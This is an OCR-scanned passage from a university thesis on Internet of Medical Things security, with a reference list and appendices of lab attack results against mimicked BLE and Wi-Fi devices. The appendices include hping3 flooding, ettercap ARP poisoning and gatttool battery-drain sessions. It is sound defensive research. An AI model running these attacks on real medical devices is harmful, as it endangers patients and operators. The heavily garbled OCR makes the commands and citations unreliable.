[18] “Internet of things | owasp foundation,’ OWASP Internet of Things | OWASP. Foundation. 


[Online]. Available: https://owasp.org/www-project-internet-of-things/ 


[19 


ey 


“https://doi.org/10.1007/s11276-020-02340-0,” 2016. [Online]. Available: |https://www.11 


consortium.org/1sf/ 


[20 


— 


iotsecurityfoundation.org, 2021. [Online]. Available: https://iotsecurityfoundation.org/ 


Pp Pp 
Nov-2021-1.pd 


[21] P. X. Zou, X. Xu, J. Sanjayan, and J. Wang, “A mixed methods design for building occu- 
pants’ energy behavior research,” Energy and Buildings, vol. 166, pp. 239-249, 2018. 


[22] V. Venkatesh, S. A. Brown, and H. Bala, “Bridging the qualitative-quantitative divide: 
Guidelines for conducting mixed methods research in information systems,’ MIS Quar- 


terly, vol. 37, no. 1, pp. 21-54, 2013. 


[23] S. Tariq and J. Woodman, “Using mixed methods in health research,’ JRSM 
Short Reports, vol. 4, no. 6, p. 2042533313479197, 2013. [Online]. Available: 


https://do1.org/10.1177/20425333 13479197 


[24] C. L. Snelson, “Qualitative and mixed methods social media research: A review 
of the literature,’ International Journal of Qualitative Methods, vol. 15, no. 1, p. 


16094069 15624574, 2016. [Online]. Available: https://do1.org/10.1177/16094069 1562 
4574 


[25] P. Shannon-Baker, “Making paradigms meaningful in mixed methods research,” Journal 


of Mixed Methods Research, vol. 10, no. 4, pp. 319-334, 2016. [Online]. Available: 
https://dot.org/10.1177/15586898 15575861 


[26] P. Pluye and Q. N. Hong, “Combining the power of stories and the power 
of numbers: Mixed methods research and mixed studies reviews,’ Annual 
Review of Public Health, vol. 35, pp. 29-45, 2014. [Online]. Available: 
//www.annualreviews.org/content/journals/10.1146/annurev-publhealth-032013- 182440 


3 (1 


Linneuniversitetet 


Kalmar Vaxjé 


[27] 


[28] 


[29] 


[30] 


[31] 


[32] 


[33] 


[34] 


P. Pluye, E. Bengoechea, V. Granikov, N. Kaur, and D. Tang, “A world of possibilities 
in mixed methods: Review of the combinations of strategies used to integrate qualitative 


and quantitative phases, results and data,” vol. 10, pp. 41-56, 07 2018. 


P. M. Catheryn Khoo-Lattimore and R. Yung, “The time has come: a systematic 
literature review of mixed methods research in tourism,’ Current Issues in 
Tourism, vol. 22, no. 13, pp. 1531-1550, 2019. [Online]. Available: 
//do1.org/10.1080/13683500.2017.1406900 


Q. N. Hong, A. Gonzalez-Reyes, and P. Pluye, “Improving the usefulness of a tool for 
appraising the quality of qualitative, quantitative and mixed methods studies, the mixed 


methods appraisal tool (mmat),” Journal of Evaluation in Clinical Practice, vol. 24, 


no. 3, pp. 459-467, 2018. [Online]. Available: https://doi.org/10.111 1/jep. 12884 


D. Henry, A. Dymnicki, N. Mohatt, J. Allen, and J. Kelly, “Clustering methods with 
qualitative data: A mixed methods approach for prevention research with small samples,” 


vol. 16, 05 2015. 


T. Guetterman, J. Molina-Azorin, and M. Fetters, “Virtual special issue on “integration in 


mixed methods research’’,” vol. 14, pp. 430-435, 10 2020. 


O. Guerra-Santin, N. Romero Herrera, E. Cuerda, and D. Keyson, “Mixed 
methods approach to determine occupants’ behaviour — analysis of two case 
studies,’ Energy and Buildings, vol. 130, pp. 546-566, 2016. [Online]. Available: 
https://do1.org/10.1016/j.enbuild.2016.08.084 


A. Fakis, R. Hilliam, H. Stoneley, and M. Townend, “Quantitative analysis of 
qualitative information from interviews: A systematic literature review,’ Journal of 


Mixed Methods Research, vol. 8, no. 2, pp. 139-161, 2014. [Online]. Available: 
https://do1.org/10.1177/15586898 13495111 


P. Carayon, S. Kianfar, Y. Li, A. Xie, B. Alyousef, and A. Wooldridge, “A 


systematic review of mixed methods research on human factors and ergonomics in 


4 (1 


aie Linnéuniversitetet 


Kalmar Vaxjé 


[35] 


[36] 


[37] 


[38] 


[39] 


[40] 


[41] 


[42] 


health care,’ Applied Ergonomics, vol. 51, pp. 291-321, 2015. [Online]. Available: 
https://do1.org/10.1016/j.apergo.2015.06.001 


F. Bodendorf, M. Sauter, and J. Franke, “A mixed methods approach to analyze 
and predict supply disruptions by combining causal inference and deep learning,” 


International Journal of Production Economics, vol. 256, p. 108708, 2023. [Online]. 
Available: https://doi.org/10.1016/j.1jpe.2022.108708 


S. Behrendt, A. Richter, and M. Trier, “Mixed methods analysis of enterprise social 
networks,” Computer Networks, vol. 75, pp. 560-577, 2014. [Online]. Available: 
https://do1.org/10.1016/j.comnet.2014.08.025 


H. Aramo-Immonen, “Mixed methods research design,’ pp. 32-43, 2013. [Online]. 
Available: https://doi.org/10.1007/978-3-642-35879-1_5 


A. Ghubaish, T. Salman, M. Zolanvari, D. Unal, A. Al-Ali, and R. Jain, “Recent advances 
in the internet-of-medical-things (iomt) systems security,’ JEEE Internet of Things Jour- 


nal, vol. 8, no. 11, pp. 8707-8718, 2021. 


S. Razdan and S. Sharma, “Internet of medical things (iomt): Overview, emerging tech- 


nologies, and case studies,’ JETE Technical Review, vol. 39, 05 2021. 


I. P, “Convergence of eco-system technologies: potential for hybrid electronic health 
record (ehr) systems combining distributed ledgers and the internet of medical things 
towards delivering value-based healthcare (doctoral dissertation, massachusetts institute 


of technology).” 


S. e. a. Bakare, “Data privacy laws and compliance: A comparative review of the eu 
gdpr and usa regulations, computer science it research journal.” [Online]. Available: 


https://do1.org/10.51594/csitrj.v513.859 


S. Srivastava, “How iot in healthcare is revolutionizing the medical industry,” 


Appinventiv, 2024. [Online]. Available: https://appinventiv.com/blog/iot-in-healthcare/ 


85 (1 


Linneuniversitetet 


Kalmar Vaxjé 


[43] 


[44] 


[45] 


[46] 


[47 


— 


[48 


ey 


[49] 


[50] 


G. Yasmeen, N. Javed, and D. T. Ahmed, “Interoperability: A challenge for iomt,’ 11 
2021. 


J. Dizdarevic, F. Carpio, A. Jukan, and X. Masip-Bruin, “A survey of communication 
protocols for internet of things and related challenges of fog and cloud computing 
integration,’ ACM Comput. Surv., vol. 51, no. 6, jan 2019. [Online]. Available: 
https://doi.org/10.1145/3292674 


V. Theodorou and M.-E. Xezonaki, “Network slicing for multi-tenant edge processing 
over shared iot infrastructure,” in 2020 6th IEEE Conference on Network Softwarization 


(NetSoft), 2020, pp. 8-14. 


M. Sugadev, S. Rayen, J. Harirajkumar, R. Rathi, A. Gopalan, R. Shunmugam, and K. Ra- 
maswamy, “Implementation of combined machine learning with the big data model in 
iomt systems for the prediction of network resource consumption and improving the data 


delivery,’ Computational Intelligence and Neuroscience, vol. 2022, 07 2022. 


B. Cusack and A. Kyaw, “Forensic readiness for wireless medical systems,” Proceedings 


of the 10th Australian Digital Forensics Conference, ADF 2012, pp. 21-32, 01 2012. 


O. S. McFarland RJ, “An exploratory study on the use of internet of medical things (iomt) 
in the healthcare industry and their associated cybersecurity risks.” InProceedings on the 
International Conference on Internet Computing (ICOMP)) 2019 (pp. 115-121). The Steer- 
ing Committee of The World Congress in Computer Science, Computer Engineering and 


Applied Computing (WorldComp). 


K. W. R. J. FE Kurose, Computer Networking: A Top- Down Approach Featuring the 
Internet Edition: 7th Edition., Pearson Year, 2017, pp. 333-394. 


T. Poongodi, A. Rathee, I. Ranganathan, and A. Rathee, JoT Sensing Capabilities: Sen- 
sor Deployment and Node Discovery, Wearable Sensors, Wireless Body Area Network 
(WBAN), Data Acquisition, 08 2021. 


86 (12) 


Linneuniversitetet 


Kalmar Vaxjé 


[51] 


[52] 


[53] 


[54] 


[55] 


[56] 


[57] 


[58] 


[59] 


Y. Cui, F. Liu, X. Jing, and J. Mu, “Integrating sensing and communications for ubiquitous 
iot: Applications, trends, and challenges,’ IEEE Network, vol. 35, no. 5, pp. 158-167, 
2021. 


M. Rahman and H. Jahankhani, “Security vulnerabilities in existing security mechanisms 
for iomt and potential solutions for mitigating cyber-attacks,” Information security tech- 


nologies for controlling pandemics, pp. 307-334, 2021. 


D. Koutras, G. Stergiopoulos, T. Dasaklis, P. Kotzanikolaou, D. Glynos, and 
C. Douligeris, “Security in iomt communications: A survey,” Sensors, vol. 20, no. 17, 


2020. [Online]. Available: https://www.mdpi.com/1424-8220/20/17/4828 


T. Vaiyapuri, A. Binbusayyis, and V. Varadarajan, “Security, privacy and trust in iomt 
enabled smart healthcare system: A systematic review of current and future trends,” Jn- 


ternational Journal of Advanced Computer Science and Applications, vol. 12, no. 2, 2021. 


B. Bhushan, A. Kumar, A. K. Agarwal, A. Kumar, P. Bhattacharya, and A. Kumar, “To- 
wards a secure and sustainable internet of medical things (iomt): Requirements, design 
challenges, security techniques, and future trends,” Sustainability, vol. 15, no. 7, p. 6177, 


2023. 


N. Singh, R. Buyya, and H. Kim, “Securing cloud-based internet of things: Challenges 
and mitigations,” arXiv preprint arXiv:2402.00356, 2024. 


T. Yaqoob, H. Abbas, and M. Atiquzzaman, “Security vulnerabilities, attacks, counter- 
measures, and regulations of networked medical devices—a review,” IEEE Communica- 


tions Surveys & Tutorials, vol. 21, no. 4, pp. 3723-3768, 2019. 


N. Shen, L. Sequeira, M. P. Silver, A. Carter-Langford, J. Strauss, and D. Wiljer, “Patient 
privacy perspectives on health information exchange in a mental health context: qualita- 


tive study,” JMIR mental health, vol. 6, no. 11, p. e13306, 2019. 


R. Leszczyna, “Review of cybersecurity assessment methods: Applicability perspective,” 


Computers & Security, vol. 108, p. 102376, 2021. 


$7 (1 


Linneuniversitetet 


Kalmar Vaxjé 


[60] 


[61] 


[62] 


[63] 


[64] 


[65] 


[66] 


[67] 


[68] 


H. U. Khan, F. Ali, Y. Alshehri, S. Nazir et al., “Towards enhancing the capability of 
iot applications by utilizing cloud computing concept,’ Wireless Communications and 


Mobile Computing, vol. 2022, 2022. 


Y. He, E. Zamani, I. Yevseyeva, and C. Luo, “Artificial intelligence—based ethical hacking 
for health information systems: Simulation study,” Journal of Medical Internet Research, 


vol. 25, p. e41748, 2023. 


D. Dolezel and A. McLeod, “Managing security risk: modeling the root causes of data 


breaches,” The Health Care Manager, vol. 38, no. 4, pp. 322—330, 2019. 


N. A. Chandra, K. Ramli, A. A. P. Ratna, and T. S. Gunawan, “Information security risk 
assessment using situational awareness frameworks and application tools,” Risks, vol. 10, 


no. 8, p. 165, 2022. 


W. Wardana, A. Almaarif, and A. Widjajarto, “Vulnerability assessment and penetration 
testing on the xyz website using nist 800-115 standard,’ J. I/m. Indones, vol. 7, no. 1, pp. 
520-529, 2022. 


D.N. Astrida, A. R. Saputra, and A. I. Assaufi, “Analysis and evaluation of wireless 
network security with the penetration testing execution standard (ptes),” Sinkron: jurnal 


dan penelitian teknik informatika, vol. 6, no. 1, pp. 147-154, 2021. 


M. C. Ghanem and T. M. Chen, “Reinforcement learning for efficient network penetration 


testing,” Information, vol. 11, no. 1, p. 6, 2019. 


N. J. van den Hout, “Standardised penetration testing? examining the usefulness of cur- 


rent penetration testing methodologies,” no. August, p. 70, 2019. 


A. Aibekova and V. Selvarajah, “Offensive security: Study on penetration testing attacks, 
methods, and their types,” in 2022 IEEE International Conference on Distributed Com- 
puting and Electrical Circuits and Electronics (ICDCECE). EEE, 2022, pp. 1-9. 


s8 (1) 


Linneuniversitetet 


Kalmar Vaxjé 


[69] M. Walkowski, M. Krakowiak, J. Oko, and S. Sujecki, “Efficient algorithm for providing 


live vulnerability assessment in corporate network environment,’ Applied Sciences, 
y 


vol. 10, no. 21, 2020. [Online]. Available: https://www.mdp1.com/2076-3417/10/21/7926 


[70] Men-in-the-Middle Attack Simulation on Low Energy Wireless Devices using Software 


Define Radio. Zenodo, Jun. 2019. [Online]. Available: https://doi.org/10.528 1/zenodo 
.3256223 


[71] S. Kajwadkar and V. K. Jain, “A novel algorithm for dos and ddos attack detection in 
internet of things,” in 2018 Conference on Information and Communication Technology 


(CICT), 2018, pp. 1-4. 


[72] R. Boussada, B. Hamdane, M. E. Elhdhili, and L. A. Saidane, “Privacy-preserving aware 
data transmission for iot-based e-health,’ Computer Networks, vol. 162, p. 106866, 2019. 


[Online]. Available: https://www.sciencedirect.com/science/article/pii/S 1389128619305 
730 


[73] B. Pingle, A. Mairaj, and A. Y. Javaid, “Real-world man-in-the-middle (mitm) attack 
implementation using open source tools for instructional use,” in 2018 IEEE International 


Conference on Electro/Information Technology (EIT), 2018, pp. 0192-0197. 


[74] R. Sahay, G. Geethakumari, B. Mitra, and N. Goyal, “Investigating packet dropping at- 
tacks in rpl-dodag in iot,” in 2019 IEEE 5th International Conference for Convergence in 
Technology (I2CT), 2019, pp. 1-5. 


[75] S. Rizvi, A. Kurtz, J. Pfeffer, and M. Rizvi, “Securing the internet of things (iot): A se- 
curity taxonomy for iot,” in 20/8 17th IEEE International Conference On Trust, Security 
And Privacy In Computing And Communications/ 12th IEEE International Conference 
On Big Data Science And Engineering (TrustCom/BigDataSE), 2018, pp. 163-168. 


[76] P. Mann, N. Tyagi, S. Gautam, and A. Rana, “Classification of various types of attacks in 
iot environment,’ in 2020 12th International Conference on Computational Intelligence 


and Communication Networks (CICN), 2020, pp. 346-350. 


9 (12) 


Linneuniversitetet 


Kalmar Vaxjé 


[77] 


[78] 


[79] 


[80] 


[81 


— 


[82] 


[83] 


[84] 


[85] 


Z. Xu, C. Xu, W. Liang, J. Xu, and H. Chen, “A lightweight mutual authentication and key 
agreement scheme for medical internet of things,” JEEE Access, vol. 7, pp. 53 922-53 931, 
2019. 


M. Z. Q. University, M. Zubair, Q. University, D. U. Q. University, D. Unal, A. A.-A. Q. 
University, A. Al-Ali, A. S. Q. University, A. Shikfa, and O. M. A. Metrics, “Exploiting 
bluetooth vulnerabilities in e-health iot devices: Proceedings of the 3rd international 


conference on future networks and distributed systems,’ ACM Other conferences, Jul 


2019. [Online]. Available: https://dl.acm.org/doi/10.1145/3341325.3342000 


S. Ditton, A. Tekeoglu, K. Bekiroglu, and S. Srinivasan, “A proof of concept denial of 
service attack against bluetooth iot devices,” in 2020 IEEE International Conference on 
Pervasive Computing and Communications Workshops (PerCom Workshops), 2020, pp. 
1-6. 


D. Antonioli, N. O. Tippenhauer, and K. Rasmussen, “Key negotiation downgrade 
attacks on bluetooth and bluetooth low energy,” vol. 23, no. 3, 2020. [Online]. Available: 
https://do1.org/10.1145/3394497 


R. Upadhyay, S. Khan, H. Tripathi, and U. R. Bhatt, “Detection and prevention of ddos 
attack in wsn for aodv and dsr using battery drain,” in 2015 International Conference on 


Computing and Network Communications (CoCoNet), 2015, pp. 446-451. 


S. Sarkar, J. Liu, and E. Jovanov, “A robust algorithm for sniffing ble long-lived connec- 


tions in real-time,” pp. 1-6, 2019. 


A. Ray, V. Raj, M. Oriol, A. Monot, and S. Obermeier, “Bluetooth low energy devices 
security testing framework,” pp. 384-393, 2018. 


Kali Linux, Nov 2023. [Online]. Available: https://www.kali.org/docs/introduction/what- 
is-kali-linux/ 


M. Davies, E. Furey, and K. Curran, “Improving compliance with bluetooth device 
detection,’ TELKOMNIKA (Telecommunication Computing Electronics and Control). 
[Online]. Available: http://doi.org/10.12928/telkomnika.v1715.12929 


20 (17 


aie Linnéuniversitetet 


Kalmar Vaxjé 


A Used codes for research 
A.1 Mimicked IoMT device with Wi-Fi 
The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality-of 


ased-Electronic-—Devices/blob/main/A.1-MimicloMTNoSecWi-Fi.ino 


Listing 1: Mimicked IoMT device with Wi-Fi without security framework 


A.2 Mimicked IoMT Device with Bluetooth Low Energy 
The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality—-of—Internet—Of-—Medical—-Things—b 


ased-Electronic—Devices/blob/main/A.2-MimicIoMTNoSecBLE.ino 


Listing 2: Mimicked IoMT Device with Bluetooth Low Energy without security 


implementation 


A.3 Downgrade Attack logic 
The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality-of 


ased-Electronic—Devices/blob/main/A.3-Downgrade.py 


Listing 3: Downgrade Attack logic 


A.4 Injection Logic leveraging downgrade attack 


The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality-of 


ased-Electronic—Devices/blob/main/A. 4-I 


Listing 4: Injection Attack logic 
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A.5 Battery Drain Attack logic 
The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality-of 


ased-Electronic—Devices/blob/main/A.5-Battery 


Listing 5: Battery Drain Attack logic 


A.6 Mimicked IoMT Device over Bluetooth Low Energy with Security im- 


plementations 


The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality-of 


ased-Electronic—Devices/blob/main/A. 6-MimicloMTWithSecBLE.ino 


Listing 6: Mimicked IoMT Device over Bluetooth Low Energy with Security implementations 


A.7 Mimicked IoMT Device with Wi-Fi Secuirty Framework 
The source code can be found at the following link: https://github.com/Planning/ 


Safeguarding-the-functionality-of 


ased-Electronic—Devices/blob/main/A.7-MimicloMTWithSecWi-Fi.in 


Listing 7: Mimicking IoMT device with SSL communication 
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B Carried Attacks over Bluetooth Low Energy without Securit 
Implementations 


B.1 Bluetooth Low Energy Information Gathering Stage 


B.1.1 Sniffed Bluetooth Low Energy Communication 


S\@m@P ofl] 


BLEpeap 
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 


A240@@ehBO2++o*>R Boose 


BD:54:0A:08:20:39 


Time Source Destination Protocol Length 
210 @a:08:2d:39 Broadcast LE LL 48 ADV_ 
220 73:4F bd:54:6a LE LL 45 SCAN_REQ 
288 ga:a8 Broad: rar 45 ADV_IND 
0 @a:08:2d:3 LE LL 48 ADV_IND 
° ja: 08 2d: LE LL 46 ADV_IND 
8 73:48 :e9:a7 rar 45 
3 0.518459 a: 98 :2d:¢ LE LL 46 
ja: 08 2d: LE LL 46 
ea:98 LE LL a0 
@a:08:2d:3 LE LL 48 ADV 
ja: 08 2d: LE LL 46 ADV_IND 
datas B LE LL 45 SCAN_REQ 
@a:08:2d:3 t LE LL SCAN_RSP 
ja: 08 2d: LE LL ADY_IND 
ab:a7 bd:5az6a:0 LE UL SCAN_REQ 
98 Broadcast LE LL ADV_IND 
98 LE LL ADY_IND 
as 8 rar SCAN_REQ 
98 LE LL SCAN_RSP 
ja:08 2d: LE LL ADY_IND 
datas : 2 Let CONNECT ND 
@a:08 Te LL ADV_IND 
LE LL ADY_IND 
rar abv_IND 
LE LL ADV_IND 
» Frame 191 : 36 75 8c 00 GO 52 09 
» PPI version 8, 24 bytes 5 6 be 89 #e 65 22 20 
: 54 bd 95 6b 69 cd 38 
[Source Of :d4:a9:22 - fa f 
[Destination: bd:54:0a:08 
~ Bluetooth Low Energy Link La 
Oxées9bed6 


ff FF 4F 


NNECT_IND, TxAdd: Random, RxAdd 
49:22:20 (7019F:d4:a9:22:20) 
q 6a:66:2d:39 (bd:54:0a:00:2d:39) 
Link Layer pata 
CRC: Gx 


Listing 19: BLE Wireshark capture 
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B.1.2 Bluetooth Low Energy Device discovery 


[sudo] password for kasuya: 
bettercap v2.32.@ (built for Linux amd64 with go1.21.0) [type ‘help’ for a List of comm 


41) [ ] (HMB) gateway monitor started 
168.50.0/24 » ble.show 


—=—T iat il =a 
| RSSI M Vendor 
| Connect | 


| 4a:9 e7:5 | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (ho 
| 14 
ae 


ee | BR/EDR Not Supported 
Apple, Inc. | LE + BR/EDR (controller), BR/EDR ( 
Apple, Inc. | LE + BR/EDR (controller BR/EDR 
Apple, Inc. 
Apple, Inc. BR/EDR (controller + BR/EDR 
Microsoft 
Apple, Inc. | BR/EDR (controller + BR/EDR 
| 
Apple, Inc. | BR/EDR (controller 
Apple, Inc. 
Apple, Inc. | BR/EDR (controller 
Sony Corporation | 
Google | 
Microsoft 


Listing 20: MAC address discovery with bettercap library 
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B.1.3 Bluetooth Low Energy information reading 


Handles 


0001 — 0005 
0003 
0005 


0006 
0008 


000a 
000c 
000Ff 


Handles 


0001 — 0005 
0003 
0005 


0006 
0008 


—> 0009 


000a 
000c 
000Ff 


> 0010 


Handles 


0001 — 0005 
0003 
0005 


0006 
0008 


000a 
000c 
000Ff 


— 0010 


> 192.168.50.223 
> 192.168.50.223 


Service > Characteristics 


(1800) 
(2a00) 
(2a01) 


(1801) 
(2a05) 


Characteristics 


(1800) 
(2a00) 
(2a01) 


(1801) 
(2a05) 


1101 
2101 
(2a19) 


Service > aracteristics 
(1800) 
(2a00) 
(2a01) 


(1801) 
(2a05) 


» ble.enum bd:54:0a:08: 


> 192.168.50.223 
> 192.168.500.223 BR) 


» ble.enum bd:54:0a:08:2d:39 


Properties 


INDICATE 


READ, WRITE, NOTIFY 
READ, NOTIFY 


» ble.enum bd:54:0a:08:2d:39 


> 192.168.50.223 
> 192.168.50.223 BR 


| 
Properties 


INDICATE 


READ, WRITE, NOTIFY 
READ, NOTIFY 


2d:39 


Properties 


READ, WRITE, NOTIFY 
READ, NOTIFY 


Listing 21: Connection initiation 


Data 


Arduino 


Hello World 
d 


Arduino 


Data 


Arduino 


systolic:64 
p 


;diastol 
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B.2 Denial-of-Service Attack Result 


c 


File Actions Edit View Help 


-—(kasuya®& kasuya)-[~ 

$ ./bat rain bd:54:0a:08:2d:39 0x@002 
spawn gatttool -b bd:54:0a:08:2d:39 -I 
[bd:54:0a:08:2d:39][LE]> connect 
Attempting to connect to bd:54:0a:08:2d:39 
Connection successful 
[bd:54:0a:08:20:39)[LE]> Connection established with bd:54:0a:08:2d:39 
char-read-hnd 0x@002 
Characteristic value/descriptor: 02 03 00 00 2a 
[bd:54:0a:08:2d:39][LE]> 02 03 0@ 00 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08 39][LE]> 
char-read-hnd 0x@002 
Characteristic value/descriptor: 02 03 00 00 2 
[bd:54:0a:08:20:39][LE]> @2 03 0@ 00 2a 
[bd:54:0a: 2d:39)[LE]> 
char-read-hnd 0x@002 
Characteristic value/descriptor: 02 03 00 00 
[bd:54:0a:08:2d:39][LE]> 02 03 0@ 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x@002 
Characteristic value/descriptor: 02 03 00 00 
[bd:54:0a:08:2d:39][LE]> 02 @3 @@ @@ 2a 
[bd:54:0a:08:2d:39][LE]> 


(gatttool:38685): GLib- wk: 15:41:21.410: Invalid file descriptor. 
[bd:54:0a:08:2d:39][LE]> char-read-hnd 0x0002 
Disconnected 
[bd:54:0a:08:2d:39][LE]> Device disconnected, attempting to reconnect... 
connect 
Attempting to connect to bd:54:0a:08 :39 
[bd:54:0a:08:2d:39][LE]> Unexpected error, retrying... 
connect 
Connection successful 
[bd :@0a:08:2d:39)[LE]> Connection established with bd:54:0a:08:2d:39 
cha ead-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 00 2a 
[bd:54:0a:08:2d:39][LE]> 02 03 00 @@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 00 2a 
[bd:54:0a:08:2d:39][LE]> @2 03 @@ 00 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x@002 
[bd:54:0a:08:2d:39][LE]> 9 


Listing 22: BDOS attack 


112) 


Linneuniversitetet 


Kalmar Vaxjo 


B.3 Battery Drain Attack Result 


-—(kasuya® kasuya)-[~] 

—$§ sudo ./batteryDrain3.sh bd:54:0a:08:2d:39 0x@002 
spawn gatttool -b bd:54:0a:08:2d:39 -I 
[bd:54:0a:08:2d:39][LE]> connect 
Attempting to connect to bd:54:0a:08:2d:39 
Connection successful 
[bd:54:0a:08:2d:39)[LE]> Connection established with bd:54:0a:08:2d:39 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 00 2a 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x@002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 00 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 
Characteristic value/descriptor: 02 03 00 
[bd:54:0a:08:2d:39][LE]> 02 03 00 0@ 2a 
[bd:54:0a:08:2d:39][LE]> 
char-read-hnd 0x0002 

har eristj e = : 00 00 


Listing 23: Battery Drain Attack 
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B.4 Downgrade attack result 


File Edit View Go Capture Analyze Statistics 


4040: 


98 18 60 Th 00 a4 36 75 O¢ 00 09 62 89 oF 
be 


bd 
46 00 09 09 f4 O1 TT TT Tf fF If a9 


frrrrrrat 


eep Clock Ac 


Listing 24: Injection CONNECT-IND package for possible Downgrade 
Attack 


B.5 Fuzzing Attack 
B.5.1 Executed Logic 


bd:54:0a:08 


Characteristic Write Request failed: Offset past the end of the attribute 


Characteristic va uccessfully 


Listing 25: Fuzzing Attack 
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B.5.2 Result 


rt 
File Edit View Go Capture Analyze Statistics Telephony Wit 


ANM@OaBBBacro+>m 


Packets: 7409 : Displayed: 893 (12.1%) 


Listing 26: Malformed Bluetooth Packet 


C Carried Attacks over Wi-Fi without Security Framework 


C.1 Sniffing Attack 


Sun Apr 28 06:32:49 2024 [940343] 
TCP 192.168.50.231:58470 —> 194.47.176.190:80 | AP (121) 


Host: 194.47.176.190. 
Content-Type: appLication/x-ww-form-urlencoded. 
Content-Length: 24. 


systoLlic=95&diastolic=52. 


Listing 27: Sniffing Attack 


C.2 Denial-of-Service Attack 


kasuya® kasuya)-[~ 
$ hping3 Floo ) 80 194.47.176.190 
using eth®, addr: 192.168.50.80, MTU: 1500 


HPING 194.47.176.190 (eth® 194.47.176.190): S set, 40 headers + @ data bytes 


hping in flood mode, no replies will be shown 


Listing 28: DOS Attack 
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C.3 Man-In-The-Middle Attack 
C.3.1 Wireshark capture 


ManinThedidateWifpcop 


File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 
G240Ng@ncBBOca«cr-o*n>+RB Bosco 


hep 
Destination Protocol_Length Info 
Tlencoded) Continua Lon 
TERED 2HITP/1.1 200 OF 
69 12,196880 192,168.50. 47.176. 176 POST /handle post.php HTTP/1.1 (application/x-wwd-form-ur Lencoded)continuation 
7212.220245 © 194.47.176. [168.50 252 HTTP/1.4 200 OK (text/html) 
141 22.320550 192,168.50. 94.47.176. 176 POST /handie_post.php HITP/4.1. (application/x-waw-Form-ur lencoded) Continuation 
4144 22,338816 194.47.176. 1168.50. 252 HITP/1,1 200 OK (text/html) 
493 32.452307 192,168.50 : 175 POST /handle_post.php HTTP/1.1. (application/x-wwa-form-ur Lencoded)Continuation 
196 32.470700__194.47.176 23 251 HITP/1.1 200 OK (text/html) 


Number (raw) 318 
Numb relative 
know Ledgment. Number relative ack number 
knowLedgment numb: 323564 
fader 20 bytes (5) 
xo18 (PSH, 
1088 
ed window size: 64088] 
scaling fi 
sum: 0x0608 [unverified] 


er: Apac 
2 (Ubunt 


payload (198 byte 


HTTP/1.4 208 ORNE\I] 


roup 
Response 
Status 
[statu: ytion: OK] 

ponse Phras 

Sun, 28 Apr 2024 11:06:28 
ver: Apache/2.4.52 (Ubuntu)\r\n 

50] 
text/html; charset=UTF-8\r\n 


[HTTP respo 
[Tine s: 8.0174350% nds: 


[Request URE: http://1 176.190/ 
80 


t/html (1 Line 
POST” requ s 38; 


Listing 29: Man-In-The-Middle Attack Wireshark 
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C.3.2 ARP poisoning 


kasuya®& kasuya 
$ fete) t ap -T -M arp:remote /192.168.50.1// /192.168.50.231// 
ettercap 0.8.3.1 copyri @01-2020 Ettercap Development Team 


Listening on: 
eth® — A@:CE:C8:A@:D1:9B 
192.168.50.80/255.255.255.0 
fe80 ::19fa:57a7:3b00:6F8F/64 


SSL dissection needs a valid ‘redir_command_on' script in the etter.conf file 
Privileges dropped to EUID 65534 EGID 65534... 


34 plugins 
42 protocol dissectors 
57 ports monitored 
28230 mac vendor fingerprint 
1766 tcp OS fingerprint 
2182 known services 
Lua: no scripts were specified, not starting up! 


Scanning for merged targets (2 hosts)... 


2 hosts added to the hosts list... 

ARP poisoning victims: 

GROUP 1 : 192.168.50.1 FC:34:97:5A:56:A0 
GROUP 2 : 192.168.50.231 EC: 60:80:F7:48 


Starting Unified sniffi 


Text only Interface activated... 
Hit "h' for inline help 


Apr 28 06:32:44 2024 [798660] 
194.47.176.190:80 —> 192.168.5@.231:63896 


Apr 28 06:32:44 2024 [860294] 
192.168.50.231:63896 —> 194.47.176.190:80 


Apr 28 06:32:44 2024 [861180] 
192.168.50@.231:63896 —> 194.47.176.190:80 


Apr 28 06:32:44 2024 [881234] 
194.47.176.190:80 —> 192.168.50.231:63896 


Apr 28 06:32:49 2024 [882337] 
